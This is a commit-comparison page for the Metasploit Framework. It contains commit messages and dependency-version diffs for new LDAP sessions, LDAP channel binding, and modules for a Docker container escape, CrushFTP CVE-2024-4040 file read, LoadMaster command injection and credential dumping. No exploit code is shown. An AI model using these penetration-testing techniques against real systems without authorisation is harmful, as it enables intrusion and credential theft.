Compare commits

...

172 Commits

Author SHA1 Message Date
adfoster-r7 306c66e12e Land #19183, Fix windows platform detection bug 2024-05-15 19:40:11 +01:00
Metasploit a5e2196e70 automatic module_metadata_base.json update 2024-05-15 13:26:44 -05:00
adfoster-r7 1fa8256a6d Fix windows platform detection bug 2024-05-15 19:17:40 +01:00
bwatters f3a8b35060 Land #19058, Add new Ldap session type
Merge branch 'land-19058' into upstream-master
2024-05-15 13:04:12 -05:00
Dean Welch 68f7334348 Fix kerberos auth and missing method error when querying with -a 2024-05-15 16:11:40 +01:00
Dean Welch 29c79fb499 Add handling of dead ldap sessions 2024-05-15 15:12:51 +01:00
Dean Welch 0cea2cba75 Add guard clause to not print out session info unless the session is enabled 2024-05-15 15:12:51 +01:00
Dean Welch 7cdea94000 Convert ldap modules to use the new ldap session type 2024-05-15 15:12:51 +01:00
Dean Welch e693b9588c Update ldap modules to support an ldap session 2024-05-15 15:12:51 +01:00
Dean Welch 55cb49c60e Add back in useful base dn discovery print out 2024-05-15 15:12:51 +01:00
Dean Welch df32ce2db9 Add ldap query support to the ldap session 2024-05-15 15:12:51 +01:00
Dean Welch 9e4f958af7 keep ldap connection open for use in a session 2024-05-15 15:12:51 +01:00
Dean Welch 3cedb20f75 Add initial ldap session support 2024-05-15 15:12:51 +01:00
dwelch-r7 f6e7aacfb5 Land #19182, Disable the windows server 2022 test build 2024-05-14 18:49:53 +01:00
adfoster-r7 b9c09d7490 Fix windows build failures 2024-05-14 17:53:45 +01:00
Metasploit 9c4849e5bd automatic module_metadata_base.json update 2024-05-13 14:58:09 -05:00
Spencer McIntyre 733c014223 Land #19115, read/write registry key SD
Module to read/write registry key security descriptor remotely
2024-05-13 15:41:54 -04:00
Metasploit 613ec3c9d3 automatic module_metadata_base.json update 2024-05-13 13:53:16 -05:00
Jack Heysel b1cd5b3476 Land #19132, Add LDAPS Channel Binding
Add channel binding information to Metasploits NTLM and Kerberos
authentication for the LDAP protocol. This enables users to authenticate
to domain controllers where the hardened security configuration setting
is in place
2024-05-13 11:31:10 -07:00
adfoster-r7 4233822965 Land #19172, Adds the features configuration to the debug command output 2024-05-13 12:55:44 +01:00
cgranleese-r7 7ee36ebc29 Adds a test for the new method 2024-05-13 11:19:37 +01:00
Christophe De La Fuente f1ee10f486 Code review #2 2024-05-13 12:01:54 +02:00
Metasploit 102f8d5476 automatic module_metadata_base.json update 2024-05-10 09:47:57 -05:00
Spencer McIntyre 80fdde5fdc Land #19100, Add Loadmaster sudo priv esc
Add Kemp Progress Loadmaster sudo abuse priv esc
2024-05-10 10:21:38 -04:00
bwatters b28e263a2b Update debug statements and add protection against bad die name 2024-05-10 08:54:23 -05:00
bwatters 948b18b08c Add a check to the file delete 2024-05-09 15:52:29 -05:00
Metasploit 2a8b36d432 Bump version of framework to 6.4.9 2024-05-09 07:11:01 -05:00
Spencer McIntyre 2bf402fa52 Add channel binding spec 2024-05-08 16:40:46 -04:00
Spencer McIntyre bef50de25a Update error handling for some LDAP modules 2024-05-08 16:40:34 -04:00
Spencer McIntyre 66d5e89046 Update ChannelBinding to check the algorithm 2024-05-08 16:30:29 -04:00
Spencer McIntyre 69e35005ee Add TLS channel binding for kerberos 2024-05-08 16:30:24 -04:00
Spencer McIntyre cc3fd3bfa0 Update #build_gss_ap_req_checksum_value
This updates the #build_gss_ap_req_checksum_value method to allow
control over the flags and channel binding information.
2024-05-08 16:24:54 -04:00
Spencer McIntyre 8dabe17121 Pass the ticket storage setting 2024-05-08 16:24:54 -04:00
Spencer McIntyre 942d47bec5 Add TLS channel binding for NTLM 2024-05-08 16:24:48 -04:00
cgranleese-r7 c938b10067 Adds the features configuration to the debug command output 2024-05-08 15:35:21 +01:00
Spencer McIntyre a999ad49a0 Move the LDAP encryptors to their own files 2024-05-08 10:16:40 -04:00
adfoster-r7 1b9f24204a Land #19159, improve error handling for postgres platform/arch detection 2024-05-08 12:09:36 +01:00
Metasploit 82ce0a9726 automatic module_metadata_base.json update 2024-05-07 13:52:43 -05:00
adfoster-r7 2ea116efea Land #19163, Allow setting the RPORT option for smb_version 2024-05-07 19:36:12 +01:00
cgranleese-r7 3d044c4241 Fixes an issue were a regex mactch could have returned nil 2024-05-07 16:46:34 +01:00
Christophe De La Fuente 8c76143a9d Land #19127, Ldap signing 2024-05-07 17:28:36 +02:00
Spencer McIntyre 0863700f7a Try 445/tcp before 139/tcp when scanning smb 2024-05-07 10:54:35 -04:00
Spencer McIntyre 88efba7cbb Allow setting the RPORT option for smb_version 2024-05-07 10:17:15 -04:00
Metasploit 0b9d4654a4 automatic module_metadata_base.json update 2024-05-07 09:03:06 -05:00
Christophe De La Fuente 946cc3baf1 Land #19147, Auxiliary module for CVE-2024-4040 - CrushFTP arbitrary file read 2024-05-07 15:44:24 +02:00
Spencer McIntyre 5523f13394 Fix a message that should refer to LDAP::Signing 2024-05-06 09:40:28 -04:00
Metasploit cec01fb2c8 automatic module_metadata_base.json update 2024-05-06 08:30:55 -05:00
Spencer McIntyre 47c8d7252b Land #18519, Docker kernel module escape 2024-05-06 09:08:08 -04:00
RadioLogic fb62edbcb1 Merge pull request #1 from smcintyre-r7/pr/collab/18519
Added in suggestions by mcintyre
2024-05-03 22:27:40 -04:00
bwatters b044bcab01 Add command payloads and checks for overwritten files 2024-05-03 13:06:16 -05:00
remmons-r7 5653ea5dfb Implement peer review suggestions for documentation
Revise 'Options' section to format each option as a level-3 heading
Update to latest module console output in 'Scenarios'
2024-05-03 12:24:42 -05:00
remmons-r7 9ee3cfd057 Implement peer review suggestions
Added multiple API endpoint injection options
Added TARGETURI to support different reverse proxy configurations
Confirmed that different languages are supported
Removed RHOST 0.0.0.0 default
Set STORE_LOOT to optional and set default to "false"
Added more detail to every check and fail message
Moved print_status message after STORE_LOOT
2024-05-03 12:01:48 -05:00
Spencer McIntyre 69d603e6fc Switch to an enum option for the signing 2024-05-03 10:27:10 -04:00
Metasploit a0487348e5 automatic module_metadata_base.json update 2024-05-03 08:50:04 -05:00
adfoster-r7 4c84f8830f Land #18907, add mssql_version module 2024-05-03 14:33:35 +01:00
Christophe De La Fuente 69cbddde92 Land #19050, Adobe ColdFusion Arbitrary File Read [CVE-2024-20767] 2024-05-03 15:15:08 +02:00
adfoster-r7 a9960a506c Land #19125, updates mssql platform/arch fingerprinting to be more resilient 2024-05-03 13:58:06 +01:00
adfoster-r7 860da5f2b4 Land #19158, reimplement password_spray into login modules 2024-05-03 13:39:36 +01:00
Zach Goldman 6547fdb4c4 adds pattern to catch other arch and platform values 2024-05-03 07:05:35 -05:00
cgranleese-r7 bb473f4004 Reimplement password_spray into login modules 2024-05-03 13:00:24 +01:00
Zach Goldman c382066be8 cache prelogin packet 2024-05-02 12:51:33 -05:00
Jack Heysel e3d7dce4a9 Updated res.body parsing, responded to comments 2024-05-02 09:47:22 -07:00
remmons-r7 7f433bfadb Implement peer review suggestion to move IOC comments up 2024-05-02 11:44:39 -05:00
remmons-r7 6c91ca37b6 Implement peer review suggestion to add CrushFTP10.zip SHA256 2024-05-02 11:42:49 -05:00
remmons-r7 168eb9e14d Implement peer review suggestion to remove unnecessary STORE_LOOT check
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2024-05-02 11:13:54 -05:00
remmons-r7 9e8fe15e48 Implement peer review suggestion for more detailed fail_with message
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2024-05-02 11:11:04 -05:00
adfoster-r7 fd10f4d295 Land #19156, Fixes password_spray not using additional_privates and default username 2024-05-02 16:20:10 +01:00
cgranleese-r7 d105ae10ff Fixes some password_spray issues 2024-05-02 15:43:07 +01:00
Metasploit 4c7f1e6520 Bump version of framework to 6.4.8 2024-05-02 03:37:55 -05:00
Metasploit bd767a9279 automatic module_metadata_base.json update 2024-05-01 16:26:41 -05:00
Spencer McIntyre 1bf721b9d5 Land #19152, Fix apache_normalize_path_rce check
Fix apache_normalize_path_rce check method
2024-05-01 17:10:23 -04:00
adfoster-r7 5e1dc05f09 Fix apache_normalize_path_rce check method 2024-05-01 20:01:38 +01:00
Spencer McIntyre ca669d8f08 Update docs to reflect changes 2024-05-01 13:45:20 -04:00
Spencer McIntyre c2bf9ead06 Add support for redhat based containers
Containers such as Fedora use a different directory for the kernel
headers.
2024-05-01 13:30:16 -04:00
Spencer McIntyre 2cb0e44740 Don't change the working directory 2024-05-01 10:35:24 -04:00
Metasploit 2dce73833f automatic module_metadata_base.json update 2024-05-01 08:45:48 -05:00
adfoster-r7 59a3839be8 Land #19137, nameservers from resolv.conf must be IP addresses 2024-05-01 14:28:38 +01:00
Spencer McIntyre a98554a1f4 Land #19048, Enable inline credentials dump
Windows Secrets Dump: Enable inline credentials dump
2024-05-01 09:05:40 -04:00
Spencer McIntyre 67dc01f124 Remove the unnecessary payload space 2024-04-30 16:29:43 -04:00
adfoster-r7 fef9024c5a Land #19148, Update pcaprub dependency 2024-04-30 21:18:34 +01:00
adfoster-r7 27dd14bb64 Update pcaprub dependency 2024-04-30 20:48:24 +01:00
Christophe De La Fuente 6849e909d0 Code review
- remove `#auxiliary_commands`, it is not necessary anymore
- move the connection logic to a separate method
- make sure the connection to Winreg is setup when using direct `read`
  and `write` commands
- fix wrong method call to `save_to_file`
2024-04-30 20:57:32 +02:00
Christophe De La Fuente 91be90c43e Add registry_security_descriptor module and documentation 2024-04-30 20:57:32 +02:00
Christophe De La Fuente 52001bf7d4 Bump ruby_smb to version 3.3.7
- This will bring in the GetKeySecurity and SetKeySecurity MS-RRP structures
2024-04-30 20:54:15 +02:00
Christophe De La Fuente 9079ce331b Remove call to each_key on users array, since it is not a Hash 2024-04-30 20:52:23 +02:00
remmons-r7 de82fdac50 Remove trailing whitespaces 2024-04-30 12:33:26 -05:00
remmons-r7 8b1b940f7c Fixing a spacing issue that was introduced, as well as a couple msftidy issues 2024-04-30 12:19:16 -05:00
remmons-r7 5765fe8197 Implement fixes for msftidy issues
C: 21: 11: [Correctable] Layout/ModuleDescriptionIndentation: Module descriptions should be properly aligned to the 'Description' key, and within %q{ ... }
C: 67: 54: [Correctable] Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.
C: 81: 18: [Correctable] Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.
C: 87: 40: [Correctable] Style/InverseMethods: Use !~ instead of inverting =~.
W: 92: 50: [Correctable] Lint/SafeNavigationChain: Do not chain ordinary method call after safe navigation operator.
W:110: 63: [Correctable] Lint/SafeNavigationChain: Do not chain ordinary method call after safe navigation operator.
W:127: 54: [Correctable] Lint/RedundantStringCoercion: Redundant use of Object#to_s in interpolation.
C:143:  7: [Correctable] Layout/FirstHashElementIndentation: Use 2 spaces for indentation in a hash, relative to the start of the line where the left curly brace is.
C:146: 20: [Correctable] Layout/SpaceInsideHashLiteralBraces: Space inside { missing.
C:146: 44: [Correctable] Layout/SpaceInsideHashLiteralBraces: Space inside } missing.
C:152: 18: [Correctable] Style/RedundantInterpolation: Prefer to_s over string interpolation.
C:152: 32: [Correctable] Style/SlicingWithRange: Prefer [-4..] over [-4..-1].
C:153:  9: [Correctable] Layout/FirstHashElementIndentation: Indent the right brace the same as the start of the line where the left brace is.
2024-04-30 12:09:28 -05:00
remmons-r7 e19ae7c3d1 Remove space before file output 2024-04-30 11:52:07 -05:00
remmons-r7 4e81de2968 Add CVE-2024-4040 exploit module 2024-04-30 11:43:37 -05:00
remmons-r7 d7b63679c9 Add documentation markdown for crushftp_fileread_cve_2024_4040 2024-04-30 11:24:43 -05:00
Metasploit d6b45658e0 automatic module_metadata_base.json update 2024-04-29 17:55:45 -05:00
Spencer McIntyre 434186200a Land #19141, Apache RocketMQ & ActiveMQ fixes 2024-04-29 18:33:47 -04:00
jheysel-r7 6055d8a005 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2024-04-29 17:37:49 -04:00
bwatters 742326ae90 Actually add script contents 2024-04-29 15:28:34 -05:00
bwatters d94971598b Add documentation and fix some debug prints 2024-04-29 15:28:34 -05:00
bwatters 8a08f6a083 Land #19075, Modularise the Softing login code
Merge branch 'land-19075' into upstream-master
2024-04-29 14:47:44 -05:00
Jack Heysel 6c74d14bb7 Tested attempt to fix rspec 2024-04-29 08:54:57 -07:00
RadioLogic 53ac5118cd Added report host to virtualization check 2024-04-26 21:58:43 -04:00
RadioLogic 15a9b59ccf Made case statements more readable 2024-04-26 21:55:01 -04:00
RadioLogic b51d1b9017 Made shared function with checkcontainer 2024-04-26 21:32:20 -04:00
Metasploit 518aafb1f1 automatic module_metadata_base.json update 2024-04-26 18:37:25 -05:00
bwatters 364d491af7 Land #18972, Progress LoadMaster unauthenticated command injection module CVE-2024-1212
Merge branch 'land-18972' into upstream-master
2024-04-26 18:18:40 -05:00
bwatters 02c31159ab Add vulnerable versions and fix indention 2024-04-26 17:36:50 -05:00
Jack Heysel f5f1deaf5b Untested attempt to fix spec 2024-04-26 14:55:45 -07:00
Jack Heysel 3b57fbf052 ActiveMQ fixes 2024-04-26 14:25:16 -07:00
Jack Heysel 429eaff5ca RocketMQ fixes 2024-04-26 14:24:08 -07:00
RadioLogic 7dabfb15be Ran rubocop again 2024-04-26 14:52:14 -04:00
RadioLogic ca9c60badb Made usermodhelper wait for exec 2024-04-26 14:43:39 -04:00
RadioLogic 81aa572e15 Removed uneeded cd in cleanup 2024-04-26 14:15:24 -04:00
RadioLogic 852f888cc8 Added payload limits 2024-04-26 14:06:32 -04:00
RadioLogic 5adc91b7d5 Reverted back to using relative pathing due to kernel make scripts 2024-04-26 13:46:17 -04:00
Christophe De La Fuente 4f6e2bcd22 Code review 2024-04-26 18:47:42 +02:00
Christophe De La Fuente 4794844b67 Update the documentation 2024-04-26 18:44:05 +02:00
Christophe De La Fuente 1294ed0bbb Add inline technique to dump SAM hashes, LSA secrets and cached hashes 2024-04-26 18:44:05 +02:00
Jack Heysel c0e589dcf4 Updated single quotes 2024-04-26 09:08:08 -07:00
Jack Heysel bf240b7e43 Responded to comments 2024-04-26 09:04:33 -07:00
Metasploit a6cf1cd414 automatic module_metadata_base.json update 2024-04-26 07:52:01 -05:00
adfoster-r7 7e2e3eeab3 Land #19138,fix recursive call to ldap_open 2024-04-26 13:35:30 +01:00
Dean Welch 1c8a4706d7 Fix recursive call to ldap_open 2024-04-26 12:33:43 +01:00
Spencer McIntyre cf6d324832 Nameservers from resolv.conf must be IP addresses
Fixes an infinite recursion error where Metasploit would attempt to
resolve a nameserver specified as a hostname in /etc/resolv.conf while
initializing.

Values for the namserver key in the resolv.conf file must be IP
addresses per the man page while the Resolver class in theory allows
them to be added by hostname however an existing one must be defined by
which it will be resolved.

This notably prevents IPv6 addresses with a scope ID from being allowed
in Ruby versions < 3.1.
2024-04-25 16:21:04 -04:00
Metasploit aef3cc546b automatic module_metadata_base.json update 2024-04-25 10:10:09 -05:00
Simon Janusz 76d7fe8dbd Land #19095, Refactor smb_enumusers 2024-04-25 15:45:23 +01:00
dwelch-r7 cd40f95f05 Land #19134, Downgrade unf ext 2024-04-25 15:25:05 +01:00
adfoster-r7 c1e5c7a8bf Downgrade unf_ext 2024-04-25 15:08:31 +01:00
Spencer McIntyre d6317923f6 Bump ruby_smb to 3.3.6
This pulls in the changes from rapid7/ruby_smb#266 which adds
SamrQueryInformationDomain support.
2024-04-25 09:41:48 -04:00
Metasploit b607c70611 Bump version of framework to 6.4.7 2024-04-25 03:35:58 -05:00
Zach Goldman 04c5d8b924 Update modules/auxiliary/scanner/mssql/mssql_version.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-04-24 15:06:37 -04:00
Zach Goldman d8c7a26565 add unit test, clean up data hash 2024-04-24 15:06:36 -04:00
Zach Goldman d0a714d1e8 refactor packet parsing code 2024-04-24 15:06:36 -04:00
Zach Goldman ae091bf17d add encryption detection, reporting to mssql_version 2024-04-24 15:06:36 -04:00
Zach Goldman 6fd8c8b903 add session support, dry out code, update descriptions to be more specific 2024-04-24 15:06:36 -04:00
Zach Goldman 3897b49ca6 add mssql_version module 2024-04-24 15:06:36 -04:00
Ashley Donaldson 6d915dbb55 Fix unit tests 2024-04-24 15:54:57 +10:00
Ashley Donaldson 631e4e34db Update LDAP doco with current options 2024-04-24 15:40:11 +10:00
Ashley Donaldson 68966b86f1 Give warning on invalid config (SSL and REQUIRE_SIGNING both set to true) 2024-04-24 15:05:03 +10:00
Ashley Donaldson ec44cb1e2e Fix interface of block cipher base 2024-04-24 14:01:45 +10:00
Ashley Donaldson a4b3c27e28 Provide more meaningful error message when signing is required 2024-04-24 13:37:27 +10:00
Ashley Donaldson b5f4dfae71 Make encrypting/signing an option 2024-04-24 13:24:05 +10:00
Ashley Donaldson 9aead31bb9 Support encrypted LDAP (ldap signing) over Kerberos and NTLM 2024-04-24 12:56:06 +10:00
RadioLogic ecb70eeb8c Rubocop ran on file 2024-04-23 18:53:16 -04:00
RadioLogic f8f7eb919f Removed all use of path traversal for absolute paths 2024-04-23 18:48:33 -04:00
RadioLogic 1c8c91096f Removed port being in documentation as it made no sense 2024-04-23 18:47:30 -04:00
RadioLogic 361fe34167 Update modules/exploits/linux/local/docker_privileged_container_kernel_escape.rb
Used rex to add in payload

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2024-04-23 17:29:07 -04:00
RadioLogic bee5306ac9 Added suggestions by rubymine 2024-04-23 17:18:30 -04:00
Dave Yesland a36244073f Merge pull request #1 from bwatters-r7/update-18972
Remove Priv Esc to add it to another module and update it to only run…
2024-04-22 17:53:48 -07:00
Dave Yesland c10bde97ff Merge branch 'rapid7:master' into module/progress_kemp_loadmaster_unauth_cmd_injection 2024-04-22 17:53:32 -07:00
Spencer McIntyre a3e3eb9e44 Re-add session support to the smb_enumusers module 2024-04-22 14:18:26 -04:00
Spencer McIntyre eefa762c15 Put username reporting back in 2024-04-22 13:45:20 -04:00
Spencer McIntyre 837e503170 Refactor the MsSamr mixin to split it out 2024-04-22 13:45:20 -04:00
Spencer McIntyre a008288e05 Readd support for multiple ports 2024-04-22 13:45:20 -04:00
Spencer McIntyre eec72b8f54 Start refactoring smb_enumusers to use RubySMB 2024-04-22 13:45:15 -04:00
bwatters 409f0e45a6 Remove Priv Esc to add it to another module and update it to only run once 2024-04-15 15:44:22 -05:00
Imran E. Dawoodjee 4026141809 Change how #get_auth_token returns 2024-04-12 07:14:34 +08:00
Imran E. Dawoodjee 1129e443c2 Modularise the Softing login lib file 2024-04-09 16:02:46 +08:00
Jack Heysel 9a88ca33e0 second commit with a couple TODOs 2024-04-03 19:36:39 -07:00
Jack Heysel b55c5f45c0 Initial commit 2024-04-03 17:25:45 -07:00
DaveYesland 1a8233dfe7 msftidy cleanup 2024-03-19 14:52:28 -07:00
DaveYesland e32d05eab8 Add module and docs for CVE-2024-1212 2024-03-19 11:37:12 -07:00
RadioLogic cbbb6cbda4 Merge branch 'master' into docker-kernel-module-escape 2024-03-04 22:58:18 -05:00
RadioLogic 82b8556c78 Improves documentation based on suggestions
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-12-05 13:52:47 -05:00
RadioLogic cc4fa7cd39 Removed kernel module reload 2023-11-29 16:48:05 -05:00
RadioLogic 4efad9eb24 Added cleanup function 2023-11-29 16:37:10 -05:00
RadioLogic 4585ec0336 Added more comments 2023-11-29 16:36:33 -05:00
RadioLogic 5f4c17edbf Turned bitmask detection into proper bool
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-11-29 13:45:49 -05:00
RadioLogic 5314902e74 Implemented auto check into module 2023-11-10 20:59:29 -05:00
RadioLogic 12833fd0d5 Updated documenting code from template used 2023-11-10 20:49:09 -05:00
RadioLogic 468265e815 Updated verification steps in documentation 2023-11-07 22:00:19 -05:00
RadioLogic 9301e29a6e Fixed msftidy issues 2023-11-07 21:56:47 -05:00
RadioLogic cf0477138d Added documentation for kernel escape 2023-11-07 21:50:09 -05:00
RadioLogic 2d683954de Removed excess line used for debugging 2023-11-07 21:49:49 -05:00
RadioLogic f947e6a438 Created container escape module 2023-11-07 21:23:49 -05:00
183 changed files with 6300 additions and 2160 deletions
+2 -1
View File
@@ -72,7 +72,8 @@ jobs:
include:
# Windows Meterpreter
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
# Temporarily required for failing pcaprub compilation:
# - { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
# Mettle
- { meterpreter: { name: mettle }, os: macos-11 }
+5 -5
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.6)
metasploit-framework (6.4.9)
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
@@ -333,7 +333,7 @@ GEM
ast (~> 2.4.1)
racc
patch_finder (1.0.2)
pcaprub (0.13.1)
pcaprub (0.13.2)
pdf-reader (2.12.0)
Ascii85 (~> 1.0)
afm (~> 0.2.1)
@@ -391,7 +391,7 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.31)
rex-core (0.1.32)
rex-encoder (0.1.7)
metasm
rex-arch
@@ -475,7 +475,7 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.5)
ruby_smb (3.3.7)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
@@ -520,7 +520,7 @@ GEM
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.9.1)
unf_ext (0.0.8.2)
unicode-display_width (2.5.0)
unix-crypt (1.3.1)
uuid (2.3.9)
+79 -78
View File
@@ -1,58 +1,59 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 7.0.8, MIT
actionview, 7.0.8, MIT
activemodel, 7.0.8, MIT
activerecord, 7.0.8, MIT
activesupport, 7.0.8, MIT
addressable, 2.8.5, "Apache 2.0"
actionpack, 7.0.8.1, MIT
actionview, 7.0.8.1, MIT
activemodel, 7.0.8.1, MIT
activerecord, 7.0.8.1, MIT
activesupport, 7.0.8.1, MIT
addressable, 2.8.6, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.23.0, "Apache 2.0"
allure-ruby-commons, 2.23.0, "Apache 2.0"
allure-rspec, 2.24.3, "Apache 2.0"
allure-ruby-commons, 2.24.3, "Apache 2.0"
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.834.0, "Apache 2.0"
aws-sdk-core, 3.185.1, "Apache 2.0"
aws-sdk-ec2, 1.411.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
aws-sdk-iam, 1.87.0, "Apache 2.0"
aws-sdk-kms, 1.72.0, "Apache 2.0"
aws-sdk-s3, 1.136.0, "Apache 2.0"
aws-sdk-ssm, 1.158.0, "Apache 2.0"
aws-sigv4, 1.6.0, "Apache 2.0"
base64, 0.1.1, "ruby, Simplified BSD"
bcrypt, 3.1.19, MIT
aws-eventstream, 1.3.0, "Apache 2.0"
aws-partitions, 1.915.0, "Apache 2.0"
aws-sdk-core, 3.192.0, "Apache 2.0"
aws-sdk-ec2, 1.450.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.38.0, "Apache 2.0"
aws-sdk-iam, 1.96.0, "Apache 2.0"
aws-sdk-kms, 1.79.0, "Apache 2.0"
aws-sdk-s3, 1.147.0, "Apache 2.0"
aws-sdk-ssm, 1.166.0, "Apache 2.0"
aws-sigv4, 1.8.0, "Apache 2.0"
base64, 0.2.0, "ruby, Simplified BSD"
bcrypt, 3.1.20, MIT
bcrypt_pbkdf, 1.1.0, MIT
bigdecimal, 3.1.7, "ruby, Simplified BSD"
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.16.0, MIT
bson, 4.15.0, "Apache 2.0"
bootsnap, 1.18.3, MIT
bson, 5.0.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
byebug, 11.1.3, "Simplified BSD"
chunky_png, 1.4.0, MIT
coderay, 1.1.3, MIT
concurrent-ruby, 1.2.2, MIT
cookiejar, 0.3.3, unknown
concurrent-ruby, 1.2.3, MIT
cookiejar, 0.3.4, "Simplified BSD"
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
date, 3.3.3, "ruby, Simplified BSD"
date, 3.3.4, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
dnsruby, 1.70.0, "Apache 2.0"
dnsruby, 1.72.1, "Apache 2.0"
docile, 1.4.0, MIT
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
ed25519, 1.3.0, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.2.1, MIT
factory_bot, 6.4.6, MIT
factory_bot_rails, 6.4.3, MIT
faker, 3.3.1, MIT
faraday, 2.7.11, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.2.0, MIT
faraday-retry, 2.2.1, MIT
faye-websocket, 0.11.3, "Apache 2.0"
ffi, 1.16.3, "New BSD"
filesize, 0.2.0, MIT
@@ -65,76 +66,76 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.14.1, MIT
io-console, 0.6.0, "ruby, Simplified BSD"
i18n, 1.14.4, MIT
io-console, 0.7.2, "ruby, Simplified BSD"
irb, 1.7.4, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.3, ruby
json, 2.7.2, ruby
language_server-protocol, 3.17.0.3, MIT
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.21.3, MIT
loofah, 2.22.0, MIT
macaddr, 1.7.2, ruby
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.2, "New BSD"
metasploit-credential, 6.0.7, "New BSD"
metasploit-framework, 6.4.6, "New BSD"
metasploit-credential, 6.0.9, "New BSD"
metasploit-framework, 6.4.9, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.3, "New BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mime-types, 3.5.1, MIT
mime-types-data, 3.2023.1003, MIT
mini_portile2, 2.8.4, MIT
minitest, 5.20.0, MIT
method_source, 1.1.0, MIT
mime-types, 3.5.2, MIT
mime-types-data, 3.2024.0305, MIT
mini_portile2, 2.8.6, MIT
minitest, 5.22.3, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-imap, 0.4.0, "ruby, Simplified BSD"
net-ldap, 0.18.0, MIT
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.4.0, "ruby, Simplified BSD"
net-ssh, 7.2.0, MIT
net-imap, 0.4.10, "ruby, Simplified BSD"
net-ldap, 0.19.0, MIT
net-protocol, 0.2.2, "ruby, Simplified BSD"
net-smtp, 0.5.0, "ruby, Simplified BSD"
net-ssh, 7.2.3, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.9, MIT
nio4r, 2.7.1, "MIT, Simplified BSD"
nokogiri, 1.14.5, MIT
nori, 2.6.0, MIT
nori, 2.7.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 2.0.0, "New BSD"
parallel, 1.23.0, MIT
parser, 3.2.2.4, MIT
parallel, 1.24.0, MIT
parser, 3.3.0.5, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.11.0, MIT
pg, 1.5.4, "Simplified BSD"
pcaprub, 0.13.2, LGPL-2.1
pdf-reader, 2.12.0, MIT
pg, 1.5.6, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.3, MIT
puma, 6.4.0, "New BSD"
racc, 1.7.1, "ruby, Simplified BSD"
rack, 2.2.8, MIT
rack-protection, 3.1.0, MIT
public_suffix, 5.0.5, MIT
puma, 6.4.2, "New BSD"
racc, 1.7.3, "ruby, Simplified BSD"
rack, 2.2.9, MIT
rack-protection, 3.2.0, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.2.0, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.8, MIT
railties, 7.0.8.1, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
rake, 13.2.1, MIT
rasn1, 0.13.0, MIT
rb-readline, 0.5.5, BSD
recog, 3.1.2, unknown
recog, 3.1.5, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.8.1, MIT
reline, 0.4.1, ruby
regexp_parser, 2.9.0, MIT
reline, 0.5.2, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.15, "New BSD"
